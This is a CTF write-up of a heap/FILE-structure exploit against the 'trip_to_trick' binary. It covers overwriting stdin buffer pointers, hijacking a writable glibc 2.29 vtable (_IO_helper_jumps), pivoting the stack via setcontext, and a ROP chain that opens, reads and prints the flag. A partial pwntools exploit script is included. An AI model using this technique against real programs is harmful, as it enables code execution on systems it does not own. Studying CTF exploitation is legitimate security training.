Set _IO_2_1_stdin_->file->_IO_BUF_END = STDIN+0x2000
Next scanf will have full control of IO_FILE structures
STDOUT->vtable = _IO_helper_jumps & STDOUT->flags=0x0 to bypass vtable checker and mprotect of _IO_file_jumps
In libc-2.29 vtables are writeable again so we can control rip by changing the value of _IO_helper_jumps->__finish
Set _IO_helper_jumps->__finish=setcontext+0x35 to obtain stack pivot.
Construct a ropchain to open/read/print the file
Challenge
I didn’t solve this challenge during ctf time, but I spent a lot of time trying to do it, perhaps in the end I had the opportunity to speak with a guy who solved named stan from discord which told me his solution.
I eventually ended up implementing it, I learned a lot of new things about the IO_FILE struct, huge thanks to him for leading me into the right path in this challenge.
Information extraction
File
1 2
$ file trip_to_trick trip_to_trick: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9ba40c68c917a91e11558eceaffd3e006531a6d9, for GNU/Linux 3.2.0, not stripped
Security
1 2 3 4 5 6 7
$ checksec trip_to_trick [*] '/ctf/work/pwn/TripToTrick/trip_to_trick' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
So we don’t have execve syscall so we can’t get a proper shell, but we still have sys_write,sys_read,sys_write which can be used to read the flag file from a path location.
In libc-2.29 the permissions to write in vtables are enabled so the author decided to make them read only but he did a mistake in setting the ranges, he missed a couple of tables:
Blocked vtables from the author:
_IO_wfile_jumps_mmap
_IO_wfile_jumps
_IO_wmem_jumps
_IO_mem_jumps
_IO_strn_jumps
_IO_obstack_jumps
_IO_file_jumps_maybe_mmap
_IO_file_jumps_mmap
_IO_file_jumps
_IO_str_jumps
Unblocked vtables:
_IO_helper_jumps
_IO_cookie_jumps
_IO_proc_jumps
_IO_str_chk_jumps
_IO_wstrn_jumps
_IO_wfile_jumps_maybe_mmap
Because of this the only thing we need to do is to change the vtable pointer into one of the writeable vtables to get control of rip.
Get arbitrary write with “unlimited” input
First thing we notice is that we have two very limited arbitrary writes with a max size of long long and we can only change two locations in memory.
From here we know the option used is _IONBF which means “No buffering” the buffer is not used. Each I/O operation is written as soon as possible. This a usual thing in ctfs to disable buffering of stdout, stdin and stderr and this time is very handy for us because instead of allocating a new buffer on the heap, the limits of _IO_buf_base and _IO_buf_end will be defined with pointers within stdin where _IO_buf_end-_IO_buf_base = 1 saving only 1 character which will be the end line character (‘\n’ or ‘’ depends on the input).
Here is the stdin after being initialized by setvbuf:
If we use the first scanf to increase the value of stdio->_IO_buf_end, instead of only controlling the _shortbuf field we will be able to control the contents of what comes next:
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // sub must be positive { if (__underflow (fp) == EOF) break;
continue; }
/* These must be set before the sysread as we might longjmp out waiting for input. */ _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
/* Try to maintain alignment: read a whole number of blocks. */ count = want; if (fp->_IO_buf_base) { size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; if (block_size >= 128) count -= want % block_size; // writing in blocks }
count = _IO_SYSREAD (fp, s, count); // we want to reach here in order to complete the read
Much better images explaining the code above can be found in Angelboy slides.
From the initial plan we know we must change values on _IO_2_1_STDOUT->file->vtable, and values on the _IO_helper_jumps vtable but there will be a lot of values in the middle because we are overflowing everything from the very beginning, in this case from the stdin we can’t just fill everything with nulls and expect everything to run smoothly , obviously the program will break if we do that we need to keep an eye on the fields that contain mappable addresses.
We can control RIP by changing _finish from _IO_helper_jumps vtable:
And why? because fclose(stdout) will be executed in the main_function, and it uses pointers from the vtable.
Fclose closes a file stream, and releases the file pointer and related buffer, it will first call _IO_unlink_it to delink the specified FILE from the _chain list:
1 2
if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp);
After that will call the system interface to close it:
1 2
if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp);
Finally, the _IO_FINISH in the vtable is called, which corresponds to the _IO_file_finish function:
1
_IO_FINISH (fp);
Now that we control the rip we need a way to stack pivot, so lets first see the value of the registers when we jump to _IO_FINISH pointer by changing it into 0xdeadbeef:
So what is exactly stack pivoting? Stacking pivoting is basically changing the stack pointer to point somewhere else, we want this because this time our ropchain won’t be located in the stack but in libc, if we don’t pivot when executing ret instructions we will just jump into values in the stack which is not what we want, there is a need to change the stack pointer to point into ropchain location.
We can control the contents of RDX, to use it we need to find something like mov rsp, qword ptr [rdx]; ret, a gadget like this can be found at setcontext+0x35:
So rdx is right at _IO_helper_jumps so we need to put the rop_chain at _IO_helper_jumps + 0xa0 because of the instruction mov rsp, qword ptr [rdx+0xa0];, by changing the stack pointer into the right libc address we can easily do the jumps:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
INPUT2 += p64(0)+p64(0)+p64(SETCONTEXT_SPITVOT) # _IO_helper_jumps STACKPIVOT SETCONTEXT POPRAX = LIBC + 0x0000000000047cf8# pop rax ; ret POPRDI = LIBC + 0x0000000000026542# pop rdi ; ret POPRDX = LIBC + 0x000000000012bda6# pop rdx ; ret POPRSI = LIBC + 0x0000000000026f9e# pop rsi ; ret SYSCALL = LIBC + 0x00000000000cf6c5# syscall ; ret FLAG_PATH = _IO_HELPER_JUMPS+0x178#LIBC+0x1baad8#+16*8 ROP_ADDR = _IO_HELPER_JUMPS+0xa8#LIBC+0x1baa08
Again we can’t use execve but we can use open, read and write which is enought to solve the challenge. In the end we will be executing this:
1 2 3
fd= open('flag\x00', 'r') # fd will be equal to 3 read(fd, flag_path, 0x49) write(1, flag_path, 0x49)
The reason why fd will be equal to 3 is because _IO_LIST_ALL contains a linked list of the filestreams, by default stdin,stdout and stderr are already loaded so the next is 3:
defdebug(bp): script = "" PIE = get_PIE(r) PAPA = PIE for x in bp: script += "b *0x%x\n"%(PIE+x) gdb.attach(r,gdbscript=script) context.terminal = ['tmux', 'new-window'] defexploit(): global r r = getConn() ifnot args.REMOTE and args.GDB: debug([0x000014e2,0x000013ce]) r.recvuntil('gift : ') SYSTEM = int(r.recvline().rstrip(),16) LIBC = SYSTEM-libc.symbols['system']